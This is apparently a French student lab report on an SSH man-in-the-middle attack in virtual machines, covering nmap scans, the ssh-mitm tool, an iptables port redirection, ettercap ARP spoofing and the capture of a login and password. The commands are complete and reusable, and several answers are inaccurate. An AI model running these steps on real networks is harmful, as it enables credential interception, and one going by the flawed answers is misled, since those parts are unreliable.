Attaque SSH (MITM + ARP Snooping)

Sommaire

Sommaire.....1
Informations additionnelles.....1
Partie 1 - Généralités.....1
Partie 2 - Découverte des hôtes et services présents sur un réseau local.....4
Partie 3 - Simulation d'une attaque de l'homme du milieu entre votre client et votre serveur SSH.....5
Partie 4 - Mise en place d'une attaque ARP Spoofing afin d'obliger le client et le serveur SSH à faire transiter les trames Ethernet échangées par l'attaquant.....8
Partie 5 - Mise en œuvre et exploitation de l'attaque Man-in-the-Middle.....9

Informations additionnelles

Matériel utilisé	Kali Linux attaquante / Un routeur OpenBSD / Debian 12 client ssh / Debian 12 Serveur SSH
Procédure réalisée sur machine virtuelle :	OUI

Partie 1 - Généralités

Question 1) Pourquoi l'accès aux machines virtuelles par la console ou l'interface graphique n'est pas possible avec le super-administrateur root ?

L'accès n'est pas possible car via ssh, on a besoin de passer par un compte classique afin de se connecter. Au besoin, il sera possible de passer sur le compte "root" en élevant ses droits. En effet, par défaut, SSH n'autorise pas la connexion sur l'utilisateur root.

Question 2) Expliquer à quoi sert la commande sudo et quels avantages a-t-elle sur l'utilisation de la commande su - ?

La commande "sudo" permet à travers une distribution Linux d'exécuter des commandes avec les privilèges d'un autre utilisateur. Par exemple exécuter une commande en tant que "root" alors qu'on est simplement connecté avec un utilisateur classique.

La commande "su -" permet de basculer d'utilisateur en chargeant son environnement entièrement.

L'avantage d'utiliser la commande "sudo" permet d'élever ses permissions uniquement pour 1 seule commande. Cela reste donc temporaire et on ne peut pas garder des permissions qui ne nous sont pas utiles.

Question 3) Quelles commandes permettent de savoir si le service OpenSSH (serveur) est déjà installé et démarré ?

Afin de vérifier si OpenSSH est déjà installé sur le serveur on peut faire la commande suivante :

```
apt policy openssh-server
```

Afin de vérifier si OpenSSH est démarré le serveur on peut faire la commande suivante :

```
systemctl status ssh
```

```
etusio@srvssh:~$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2025-11-25 08:53:46 CET; 54min ago
     Docs: man:sshd(8)
           man:sshd_config(5)
  Process: 419 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
 Main PID: 433 (sshd)
    Tasks: 1 (limit: 1150)
   Memory: 6.0M
   CGroup: /system.slice/ssh.service
           └─433 /usr/sbin/sshd -D
etusio@srvssh:~$
```

Ici on voit bien que le service a démarré.

Question 4) Indiquez le répertoire où sont stockées les clés publique et privée créées ainsi que le positionnement des permissions appliquées sur les fichiers correspondants. Puis indiquer quel est le fichier de configuration du service SSH.

Les clés publiques sont stockés dans le répertoire suivant :

```
etc/ssh/ssh_host_dsa_key.pub (pour les clés dsa)
etc/ssh/ssh_host_rsa_key.pub (pour les clés rsav2)
```

Les clés privés sont stockées dans le répertoire suivant :

```
etc/ssh/ssh_host_dsa_key (pour les clés dsa)
etc/ssh/ssh_host_rsa_key (pour les clés rsav2)
```

Sur chaque fichiers, c'est le compte "root" qui à les droits dessus.

```
-rw-r--r-- 1 root root 565189 janv. 31  2020 moduli
-rw-r--r-- 1 root root   1580 janv. 31  2020 ssh_config
-rw-r--r-- 1 root root   3250 janv. 31  2020 sshd_config
-rw------- 1 root root    505 mars  29  2020 ssh_host_ecdsa_key
-rw-r--r-- 1 root root    173 mars  29  2020 ssh_host_ecdsa_key.pub
-rw------- 1 root root    399 mars  29  2020 ssh_host_ed25519_key
-rw-r--r-- 1 root root     93 mars  29  2020 ssh_host_ed25519_key.pub
-rw------- 1 root root   1823 mars  29  2020 ssh_host_rsa_key
-rw-r--r-- 1 root root    393 mars  29  2020 ssh_host_rsa_key.pub
```

Le service de configuration ssh est :

```
ssh_config
sshd_config (pour le démon)
```

Question 5) Que signifie cette alerte qui est affichée à l'écran ? Devez-vous continuer l'opération ?Pourquoi ?

→ Après s'être connecté au serveur SSH depuis le client via la commande suivante :

```
ssh etusio@srvssh.local.sio.fr
```

```
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
The authenticity of host 'srvssh.local.sio.fr (192.168.56.10)' can't be established.
ECDSA key fingerprint is SHA256:lPIxEKxsYHPP3i7iMiZZXLYUoW9viLwSfF39MNoWIM4.
Are you sure you want to continue connecting (yes/no)?
```

Cette alerte nous indique l'empreinte de la clé DSA ainsi qu' une demande de connexion. Il faut donc poursuivre afin d'accepter la connexion et l'échange de clés.

Question 6) Lors d'une prochaine connexion depuis le même client sur ce serveur, ce message apparaîtra-t-il à nouveau ? Pourquoi ?

Non car une connexion à déjà été établie et le serveur l'a mémorisé. Il se souviendra de la clé donc il n'aura pas besoin de redemander.

Question 7) Sur la machine virtuelle cliente, expliquer à quoi sert le fichier /home/etusio/.ssh/known_hosts.

C'est le fichier qui enregistre les connexions afin de les retrouver ensuite, afin de ne pas avoir à redemander à l'utilisateur la connexion.

→ Pour supprimer le contenu du fichier on fait :

```
echo > ~/.ssh/known_hosts
```

Partie 2 - Découverte des hôtes et services présents sur un réseau local

Nous allons scanner le réseau à l'aide de l'outil NMAP.

```
etusio@kali:~$ nmap -sP 192.168.56.0/24
```

Cela nous donnera l'ensemble des hôtes présents sur le réseau.

Afin de scanner les différents hôtes afin de savoir quels ports sont ouverts sur ceux-ci et quels services sont proposés, on peut faire la commande suivante :

```
etusio@kali:~$ nmap -sV 192.168.56.10
etusio@kali:~$ nmap -sV 192.168.56.11
etusio@kali:~$ nmap -sV 192.168.56.254
```

Le résultat obtenu est le suivant :

```
etusio@kali:~$ nmap -sV 192.168.56.10
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-25 11:25 CET
Nmap scan report for srvssh.local.sio.fr (192.168.56.10)
Host is up (0.0026s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u2 (Debian Linux)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
etusio@kali:~$
```

Question 8) Indiquer quelles sont les informations que peut obtenir un attaquant grâce à ces commandes ?

- On remarque que les ports 22(SSH) et 53(TCP) sont ouverts.
- Nous avons aussi le nom l'os de la machine

Donc on à des informations sur les ports mais aussi sur le type de machine scanné.

Partie 3 - Simulation d'une attaque de l'homme du milieu entre votre client et votre serveur SSH

Question 9) Expliquer les principes généraux d'une attaque de l'homme du milieu (Man in the Middle).

Le principe d'une attaque MITM, consiste à se placer entre une source et une destination afin de capturer des informations sans être remarqué.

Question 10) .Noter les associations adresse IP / adresse MAC présentes sur les deux machines. Sont-elles cohérentes ?

Afin de voir le cache ARP respectif du client SSH et du serveur SSH, on fait la commande suivante :

```
etusio@clissh:~$ ip neigh show
etusio@srvssh:~$ ip neigh show
```

Serveur SSH :

```
etusio@srvssh:~$ ip neigh show
192.168.56.11 dev enp0s3 lladdr 08:00:27:65:f3:5b STALE
192.168.56.254 dev enp0s3 lladdr 08:00:27:47:4d:ac STALE
192.168.56.12 dev enp0s3 lladdr 08:00:27:8a:bf:4f STALE
192.168.56.1 dev enp0s3 lladdr 0a:00:27:00:00:03 REACHABLE
```

Client SSH :

```
etusio@clissh:~$ ip neigh show
192.168.56.12 dev enp0s3 lladdr 08:00:27:8a:bf:4f STALE
192.168.56.254 dev enp0s3 lladdr 08:00:27:47:4d:ac STALE
192.168.56.10 dev enp0s3 lladdr 08:00:27:09:02:f0 STALE
192.168.56.1 dev enp0s3 lladdr 0a:00:27:00:00:03 DELAY
```

On remarque que sur les 2 machines les @IP et les @MAC correspondent. Il est tout à fait normal que dans le cache ne figure pas la propre adresse de la machine.

Se connecter sur Kali Linux. Puis à l'aide de l'outil git, récupérer le logiciel ssh-mitm.

```
etusio@kali:~$ git clone https://github.com/ktux/ssh-mitm
```

Se rendre ensuite dans le répertoire nouvellement récupéré, puis lancer le script d'installation.

```
cd ssh-mitm
export LANG=en_US.utf-8
sudo ./install.sh
```

La commande « export LANG=en_US.utf-8 » sert à exporter, via une variable d'environnement, la langue
par défaut utilisée au moment de l'installation de l'outil (anglais avec un encodage UTF-8). Sans cet
export, un message d'erreur empêche l'installation.

Lors de cette installation, il vous est demandé d'installer AppArmor pour restreindre les droits de ssh-
mitm. Il faudra accepter la proposition.

```
Kali Linux detected with no AppArmor installed.  For added safety, it is highly recommended (though not required) tha
t sshd_mitm is run in a restricted environment.  Would you like to automatically enable AppArmor? (y/n)
```

Nous allons pouvoir maintenant lancer le service ssh-mitm :

```
sudo ./start.sh
```

L'attaquant sera ainsi positionné entre le client et le serveur SSH. Il se fera passer pour le serveur légitime auprès du client, il recevra et journalisera toutes les informations transmises par le client avant de les transmettre au serveur légitime.

La machine attaquante doit donc être en mesure de router les paquets le temps de l'attaque. Ainsi le script start.sh exécute la commande suivante automatiquement afin d'activer le routage.

```
sudo sysctl -w net.ipv4.ip_forward=1
```

Q11) Pourquoi l'activation du routage sur la machine de l'attaquant est indispensable au bon fonctionnement de l'attaque MITM ?

Cela est important car le routage va permettre à l'attaquant de rediriger le trafic, modifier les données en transit, écouter et acheminer les réponses.

Cette commande utilisant NETFILTER/IPTABLESpour réaliser une redirection de ports afin de rediriger tous les flux à destination de la machine attaquante sur le port 22/TCP vers le port 2222 du système Kali Linux.

```
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports
2222
```

→ Nous pouvons observer quel service écoute sur le port 2222 en localhost à l'aide de la commande :

```
ss -ltnp
```

```
etusio@kali:~/ssh-mitm$ ss -ltnp
State       Recv-Q      Send-Q          Local Address:Port          Peer Address:Port      Process
LISTEN      0           128                   0.0.0.0:2222                0.0.0.0:*
LISTEN      0           128                   0.0.0.0:22                  0.0.0.0:*
LISTEN      0           128                      [::]:2222                   [::]:*
LISTEN      0           128                      [::]:22                     [::]:*
```

Il est également possible d'observer quelles sont les règles de filtrage et de NAT en cours d'utilisation sur la distribution Kali Linux.

```
sudo iptables -L
```

```
etusio@kali:~/ssh-mitm$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:2222

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Q12) Pourquoi cette redirection de ports est indispensable au succès de l'attaque de l'homme du milieu ?

La connexion que l'on veut intercepter se produit sur le port 22. Nous devons la recopier sur un autre port. On ne peut donc pas utiliser le port 22 pour recevoir les informations. La connexion est sur le port 22 en source et donc sur le port 2222 en destination.

Partie 4 - Mise en place d’une attaque ARP Spoofing afin d’obliger le client et le serveur SSH à faire transiter les trames Ethernet échangées par l’attaquant.

Q13) Indiquer en quoi une attaque de type ARP Spoofing peut être utile ici au pirate ?

Une attaque de type ARP Spoofing consiste à usurper une adresse MAC par un attaquant afin de se faire passer pour une autre machine. Dans ce cas pour le pirate, cette attaque peut être utilisée afin de ne pas se faire détecter en tant qu’attaquant.

Nous allons réaliser cette attaque sur la machine Kali Linux à l’aide de la commande ettercap.

```
sudo ettercap -i eth0 -T -M arp /192.168.56.10// /192.168.56.11//
```

→ -T : lance ettercap en mode texte ;
→ -M : indique que l'on veut une attaque de type "Man in the middle" ;
→ 192.168.56.10 (serveur ssh) et 192.168.56.11 (client SSH) sont les adresses IP des victimes.

À nouveau sur le client puis le serveur SSH, analyser le cache ARP respectif des deux machines à l’aide de la commande :

```
etusio@clissh:~$ ip neigh show
etusio@srvssh:~$ ip neigh show
```

```
etusio@clissh:~$ ip neigh show
192.168.56.10 dev enp0s3 lladdr 08:00:27:8a:bf:4f REACHABLE
192.168.56.1 dev enp0s3 lladdr 0a:00:27:00:00:03 REACHABLE
192.168.56.12 dev enp0s3 lladdr 08:00:27:8a:bf:4f STALE
192.168.56.254 dev enp0s3 lladdr 08:00:27:47:4d:ac STALE
```

```
etusio@srvssh:~$ ip neigh show
192.168.56.1 dev enp0s3 lladdr 0a:00:27:00:00:03 REACHABLE
192.168.56.11 dev enp0s3 lladdr 08:00:27:8a:bf:4f REACHABLE
192.168.56.12 dev enp0s3 lladdr 08:00:27:8a:bf:4f STALE
192.168.56.254 dev enp0s3 lladdr 08:00:27:47:4d:ac STALE
```

Q14) Comparer les caches ARP du client et du serveur avec les associations notées précédemment lors de la question 10. Qu’en concluez-vous ?

On remarque que sur chacune de nos caches, est présente 2 fois la même adresse MAC

pour une @IP différente. Cela nous indique bien que l'adresse MAC est usurpée par l'attaquant ainsi créant un doublon d'@ MAC.

Sur la machine cliente et sur Kali Linux, exécuter le logiciel de capture de trame Wireshark et réaliser une capture de trames d'une vingtaine de secondes et enregistrez-les. Analyser plus particulièrement les trames ARP émises et reçues.

Q15) À partir de ces différentes observations, expliquez en détails comment fonctionne une attaque ARP Spoofing.

L'attaque se réalise grossièrement en 2 trames. La première permet la découverte de l'adresse MAC et la seconde recopie l'adresse MAC apprise afin de créer un doublon.

Q16) Envoyer une requête ping (icmp-écho) depuis le client vers le serveur (192.168.56.10). Puis vérifier à l'aide d'une capture de trame sur la machine Kali Linux que ces dernières passent effectivement bien par l'attaquant. Quels éléments démontrent que l'attaque se déroule correctement ?

Nous avons donc lancé un ping depuis 192.168.56.11 sur 192.168.56. On remarque au niveau des adresses mac que celle de la kali apparaît bien alors qu'elle n'est pas censée apparaître au travers du ping en tant normal. Comme l'attaque est effective alors l'attaque fonctionne bien.

Partie 5 - Mise en œuvre et exploitation de l'attaque Man-in-the-Middle

Depuis le poste client, se reconnecter sur le serveur avec le protocole SSH.

```
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
The authenticity of host 'srvssh.local.sio.fr (192.168.56.10)' can't be established.
ECDSA key fingerprint is SHA256:lPIxEKxsYHPP3i7iMiZZXLYUoW9viLwSfF39MNoWlM4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'srvssh.local.sio.fr' (ECDSA) to the list of known hosts.
etusio@srvssh.local.sio.fr's password:
```

Une fois sur le serveur SSH, tapez les commandes suivantes :

```
etusio@srvssh:~$ sudo cat /etc/shadow
etusio@srvssh:~$ sudo iptables -L
```

Sur le poste de l'attaquant (Kali), il est maintenant possible d'arrêter l'attaque ARP Spoofing, taper la touche Q pour arrêter. Puis arrêter le service ssh-mitm :

```
sudo ./stop.sh
```

Récupérer le login et le mot de passe tapés par la victime de l'attaque :
Ouvrir le fichier /var/log/auth.log de la machine virtuelle attaquante.

Q17) Recopier la ligne qui contient le login et le mot de passe capturés dans le fichier /var/log/auth.log.

```
Dec  1 08:28:35 kali sshd_mitm[10823]: INTERCEPTED PASSWORD: hostname:
[192.168.56.12]; username: [etusio]; password: [Fghijkl1234*] [preauth]
```

Q18) Que contient le fichier /home/ssh-mitm/shell_session_0.txt présent sur Kali Linux ? NB : L'accès à ce fichier nécessite l'utilisation de la commande sudo.

```
etusio@kali:~$ sudo cat /home/ssh-mitm/shell_session_0.txt
Time: 2025-12-01 08:44:22 GMT
Server: 192.168.56.10:22
Client: 192.168.56.11:60168
Username: etusio
Password: Fghijkl1234*
-------------------------
```

Sur le poste de la victime, vider le cache ARP puis tenter de se connecter à nouveau sur le serveur SSH.

```
sudo ip neigh flush all
```

Ensuite si on se reconnecte,

```
etusio@clissh:~$ sudo ip neigh flush all
[sudo] Mot de passe de etusio :
etusio@clissh:~$ ^C
etusio@clissh:~$ ssh 192.168.56.10
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:iO+me7aX2v3eHBi+5cdiGOjHiAO/prPgk8Jgzla9n24.
Please contact your system administrator.
Add correct host key in /home/etusio/.ssh/known_hosts to get rid of this message
.
Offending ED25519 key in /home/etusio/.ssh/known_hosts:2
  remove with:
  ssh-keygen -f "/home/etusio/.ssh/known_hosts" -R "192.168.56.10"
ED25519 host key for 192.168.56.10 has changed and you have requested strict che
cking.
Host key verification failed.
etusio@clissh:~$
```

Ce message apparaît car le service ssh détecte une attaque MITM. On ne peut donc plus se connecter en SSH.

Q20) Proposer une solution afin de pouvoir à nouveau se connecter au service SSH depuis le client.

Il faudra supprimer l'ancienne empreinte puis ensuite se connecter en ssh.